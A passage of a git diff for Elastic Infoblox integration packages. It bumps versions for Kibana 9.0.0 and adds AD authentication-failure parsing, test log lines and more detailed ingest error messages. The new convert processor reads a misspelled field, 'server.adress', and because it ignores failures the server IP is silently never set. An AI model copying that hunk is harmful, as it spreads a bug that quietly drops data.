# newer versions go on top
+- version: "1.21.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.20.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/infoblox_bloxone_ddi/manifest.yml b/packages/infoblox_bloxone_ddi/manifest.yml
index d95f6fc072c..b4e8849c6cc 100644
--- a/packages/infoblox_bloxone_ddi/manifest.yml
+++ b/packages/infoblox_bloxone_ddi/manifest.yml
@@ -1,7 +1,7 @@
format_version: "3.0.2"
name: infoblox_bloxone_ddi
title: Infoblox BloxOne DDI
-version: "1.20.1"
+version: "1.21.0"
description: Collect logs from Infoblox BloxOne DDI with Elastic Agent.
type: integration
categories:
@@ -10,7 +10,7 @@ categories:
- dns_security
conditions:
kibana:
- version: "^8.13.0"
+ version: "^8.13.0 || ^9.0.0"
screenshots:
- src: /img/infoblox-bloxone-ddi-screenshot.png
title: Infoblox BloxOne DDI dashboard screenshot
diff --git a/packages/infoblox_nios/changelog.yml b/packages/infoblox_nios/changelog.yml
index facc7349f2d..f652f51c480 100644
--- a/packages/infoblox_nios/changelog.yml
+++ b/packages/infoblox_nios/changelog.yml
@@ -1,4 +1,20 @@
# newer versions go on top
+- version: "1.29.0"
+ changes:
+ - description: Support AD authentication failure log messages.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12933
+ - description: Handle DHCPACK events without device names.
+ type: bugfix
+ link: https://github.com/elastic/integrations/pull/12933
+ - description: Improve ingest failure logging.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12933
+- version: "1.28.0"
+ changes:
+ - description: Update Kibana constraint to support 9.0.0.
+ type: enhancement
+ link: https://github.com/elastic/integrations/pull/12919
- version: "1.27.1"
changes:
- description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation.
diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log
index 7dac02c5127..50a5196155b 100644
--- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log
+++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log
@@ -22,4 +22,5 @@
<29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-29 19:29:20.468Z [admin]: Called - RestartService
<29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-21 17:19:02.204Z [admin]: Modified Network
<29>Mar 18 13:40:05 10.0.0.1 httpd: 2022-03-29 18:30:58.656Z [admin]: Created Ruleset
+<11>Feb 26 16:05:03 mygridmaster.mydom.tld 81.2.69.144 httpd: my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed
<46>Aug 24 19:50:09 10.0.0.1 -- MARK --
diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json
index be8b61c7896..d071345c7f0 100644
--- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json
+++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-audit.log-expected.json
@@ -1179,6 +1179,58 @@
"name": "admin"
}
},
+ {
+ "@timestamp": "2025-02-26T16:05:03.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "category": [
+ "authentication"
+ ],
+ "created": "2025-02-26T16:05:03.000Z",
+ "original": "<11>Feb 26 16:05:03 mygridmaster.mydom.tld 81.2.69.144 httpd: my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed",
+ "outcome": "failure"
+ },
+ "host": {
+ "domain": "mygridmaster.mydom.tld",
+ "ip": [
+ "81.2.69.144"
+ ]
+ },
+ "infoblox_nios": {
+ "log": {
+ "service_name": "httpd",
+ "type": "AUDIT"
+ }
+ },
+ "log": {
+ "syslog": {
+ "priority": 11
+ }
+ },
+ "message": "my-dc.mysubdom.mydom.tld: AD authentication for user myadminuser failed",
+ "related": {
+ "hosts": [
+ "mygridmaster.mydom.tld"
+ ],
+ "ip": [
+ "81.2.69.144"
+ ],
+ "user": [
+ "myadminuser"
+ ]
+ },
+ "server": {
+ "address": "my-dc.mysubdom.mydom.tld"
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "name": "myadminuser"
+ }
+ },
{
"@timestamp": "2025-08-24T19:50:09.000Z",
"ecs": {
@@ -1209,4 +1261,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log
index 553c1030732..556a0662ac8 100644
--- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log
+++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log
@@ -64,3 +64,4 @@
<30>Sep 30 11:33:03 anudhcp.anu.edu.au 10.0.0.1 dhcpd[11411]: DHCPACK on 192.168.0.4 to 4a:34:bf:d2:78:24 (my-iPhone) via eth2 relay 67.43.156.0 lease-duration 900 offered-duration 3600 (RENEW)
<131>May 31 13:21:52 10.54.17.251 dhcpd[1122]: Reverse map update for 10.71.68.10 abandoned because of non-retryable failure: REFUSED
<131>May 31 13:21:52 10.54.17.251 dhcpd[1122]: Unable to add forward map from PRinter12345.domain.subdomain.subsubdomain to 10.71.68.10 by server 127.0.0.1#53: REFUSED
+<30>Dec 30 12:57:22 myns.mydom.ltd 81.2.69.192 dhcpd[25033]: DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW)
diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json
index 03387c34d23..f1f9c10bee8 100644
--- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json
+++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dhcp.log-expected.json
@@ -3837,6 +3837,91 @@
"tags": [
"preserve_original_event"
]
+ },
+ {
+ "@timestamp": "2025-12-30T12:57:22.000Z",
+ "client": {
+ "geo": {
+ "city_name": "London",
+ "continent_name": "Europe",
+ "country_iso_code": "GB",
+ "country_name": "United Kingdom",
+ "location": {
+ "lat": 51.5142,
+ "lon": -0.0931
+ },
+ "region_iso_code": "GB-ENG",
+ "region_name": "England"
+ },
+ "ip": "81.2.69.142",
+ "mac": "8E-CD-D9-FF-FF-FF"
+ },
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "dhcpack",
+ "created": "2025-12-30T12:57:22.000Z",
+ "original": "<30>Dec 30 12:57:22 myns.mydom.ltd 81.2.69.192 dhcpd[25033]: DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW)"
+ },
+ "host": {
+ "domain": "myns.mydom.ltd",
+ "ip": [
+ "81.2.69.192"
+ ]
+ },
+ "infoblox_nios": {
+ "log": {
+ "dhcp": {
+ "lease": {
+ "duration": 7257537
+ },
+ "message": "RENEW",
+ "offered": {
+ "duration": 7257579
+ },
+ "relay": {
+ "interface": {
+ "ip": "81.2.69.144"
+ }
+ }
+ },
+ "service_name": "dhcpd",
+ "type": "DHCP"
+ }
+ },
+ "log": {
+ "syslog": {
+ "priority": 30
+ }
+ },
+ "message": "DHCPACK on 81.2.69.142 to 8e:cd:d9:ff:ff:ff via eth2 relay 81.2.69.144 lease-duration 7257537 offered-duration 7257579 (RENEW)",
+ "network": {
+ "protocol": "dhcp"
+ },
+ "observer": {
+ "ingress": {
+ "interface": {
+ "name": "eth2"
+ }
+ }
+ },
+ "process": {
+ "pid": 25033
+ },
+ "related": {
+ "hosts": [
+ "myns.mydom.ltd"
+ ],
+ "ip": [
+ "81.2.69.142",
+ "81.2.69.144",
+ "81.2.69.192"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json
index cc0f1983c17..96aa0e15645 100644
--- a/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json
+++ b/packages/infoblox_nios/data_stream/log/_dev/test/pipeline/test-dns.log-expected.json
@@ -2645,4 +2645,4 @@
]
}
]
-}
\ No newline at end of file
+}
diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml
index 127db73bba1..3ffc3e6e4b3 100644
--- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml
+++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/default.yml
@@ -24,6 +24,7 @@ processors:
ignore_failure: true
- date:
field: event.created
+ tag: date_event_created_tz
timezone: '{{{event.timezone}}}'
if: ctx.event?.timezone != null && ctx.event.created != null
target_field: event.created
@@ -38,9 +39,14 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- date:
field: event.created
+ tag: date_event_created_notz
if: ctx.event?.timezone == null && ctx.event?.created != null
target_field: event.created
formats:
@@ -54,7 +60,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- set:
field: infoblox_nios.log.type
value: 'DHCP'
@@ -99,7 +109,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{_tmp.host.ip}}}'
@@ -178,7 +192,11 @@ processors:
on_failure:
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- set:
field: event.kind
value: pipeline_error
diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml
index 668f023cd85..a68ce865aff 100644
--- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml
+++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_audit.yml
@@ -21,12 +21,16 @@ processors:
patterns:
- "^%{GREEDYDATA:_tmp.timestamp} \\[%{DATA:user.name}\\]: %{DATA:event.action} - - %{GREEDYDATA:details}$"
- "^%{GREEDYDATA:_tmp.timestamp} \\[%{DATA:user.name}\\]: %{DATA:event.action} %{GREEDYDATA:infoblox_nios.log.audit.message}$"
+ - "^%{IPORHOST:server.address}: AD authentication for user %{DATA:user.name} %{FAILED:_tmp.ad_auth_failed}$"
- "^%{GREEDYDATA:_tmp.timestamp} %{GREEDYDATA:infoblox_nios.log.audit.message}$"
- "^%{GREEDYDATA:infoblox_nios.log.audit.message}$"
+ pattern_definitions:
+ FAILED: failed
- date:
field: _tmp.timestamp
target_field: _tmp.timestamp
if: ctx._tmp?.timestamp != null
+ tag: date_tmp_timestamp
formats:
- dd-MMM-yyyy HH:mm:ss.SSS
- yyyy-MM-dd HH:mm:ss.SSS'Z'
@@ -36,7 +40,11 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- kv:
field: details
target_field: audit
@@ -64,12 +72,12 @@ processors:
ignore_failure: true
- set:
field: event.outcome
- if: ctx.event?.action == 'login_denied'
+ if: ctx.event?.action == 'login_denied' || ctx._tmp?.ad_auth_failed != null
value: 'failure'
ignore_failure: true
- append:
field: event.category
- if: ctx.event?.action == 'login_denied'
+ if: ctx.event?.action == 'login_denied' || ctx._tmp?.ad_auth_failed != null
value: 'authentication'
ignore_failure: true
- append:
@@ -114,13 +122,28 @@ processors:
ignore_missing: true
- append:
field: error.message
- value: '{{{_ingest.on_failure_message}}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
- append:
field: related.ip
value: '{{{infoblox_nios.log.audit.ip}}}'
if: ctx.infoblox_nios?.log?.audit?.ip != null
allow_duplicates: false
ignore_failure: true
+ - convert:
+ field: server.adress
+ type: ip
+ target_field: server.ip
+ ignore_failure: true
+ - append:
+ field: related.ip
+ value: '{{{server.ip}}}'
+ if: ctx.server?.ip != null
+ allow_duplicates: false
+ ignore_failure: true
- gsub:
field: user.name
ignore_missing: true
@@ -143,4 +166,8 @@ on_failure:
value: pipeline_error
- append:
field: error.message
- value: '{{{ _ingest.on_failure_message }}}'
+ value: >-
+ Processor '{{{ _ingest.on_failure_processor_type }}}'
+ {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}'
+ {{{/_ingest.on_failure_processor_tag}}}in pipeline {{{_ingest.pipeline}}}
+ failed with message '{{{ _ingest.on_failure_message }}}'
diff --git a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml
index e3d4c19c650..e0b991db8d9 100644
--- a/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml
+++ b/packages/infoblox_nios/data_stream/log/elasticsearch/ingest_pipeline/pipeline_dhcp.yml
@@ -5,107 +5,118 @@ processors:
field: network.protocol
value: dhcp
- grok:
+ tag: grok_DHCPDISCOVER_message
field: message
if: ctx.message.contains('DHCPDISCOVER')
patterns:
- - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: network %{DATA:infoblox_nios.log.dhcp.network}: %{GREEDYDATA:infoblox_nios.log.dhcp.discover.message}$"
- - "^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{WORD:event.action} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: network %{DATA:infoblox_nios.log.dhcp.network}: %{GREEDYDATA:infoblox_nios.log.dhcp.discover.message}$'
+ - '^%{WORD:event.action} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{WORD:event.action} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPOFFER_message
field: message
if: ctx.message.contains('DHCPOFFER')
patterns:
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{NUMBER:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} offered-duration %{GREEDYDATA:infoblox_nios.log.dhcp.offered.duration:long}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{NUMBER:infoblox_nios.log.dhcp.lease.duration:long} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$'
+ - '^%{WORD:event.action} on %{IP:client.ip} to %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) relay (%{IP:infoblox_nios.log.dhcp.relay.interface.ip}|%{WORD:infoblox_nios.log.dhcp.relay.interface.name}) lease-duration %{GREEDYDATA:infoblox_nios.log.dhcp.lease.duration:long}$'
+ - '^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$'
- grok:
+ tag: grok_DHCPREQUEST_message
field: message
if: ctx.message.contains('DHCPREQUEST')
patterns:
- - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$"
- - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} \\(%{DATA:infoblox_nios.log.dhcp.client_hostname}\\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \\(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\\)$"
- - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id}: %{GREEDYDATA:infoblox_nios.log.dhcp.request.message}$"
- - "^%{WORD:event.action} for %{IP:client.ip} \\(%{IP:infoblox_nios.log.dhcp.router.ip}\\) from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{GREEDYDATA:infoblox_nios.log.dhcp.uid}$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{GREEDYDATA:infoblox_nios.log.dhcp.trans_id}$"
- - "^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name})$"
- - "^%{GREEDYDATA:infoblox_nios.log.dhcp.message}$"
+ - '^%{WORD:event.action} for %{IP:client.ip} \(%{IP:infoblox_nios.log.dhcp.router.ip}\) from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$'
+ - '^%{WORD:event.action} for %{IP:client.ip} from %{MAC:client.mac} \(%{DATA:infoblox_nios.log.dhcp.client_hostname}\) via (%{IP:infoblox_nios.log.dhcp.interface.ip}|%{WORD:observer.ingress.interface.name}) TransID %{DATA:infoblox_nios.log.dhcp.trans_id} uid %{DATA:infoblox_nios.log.dhcp.uid} \(%{GREEDYDATA:infoblox_nios.log.dhcp.lease.message}\)$'
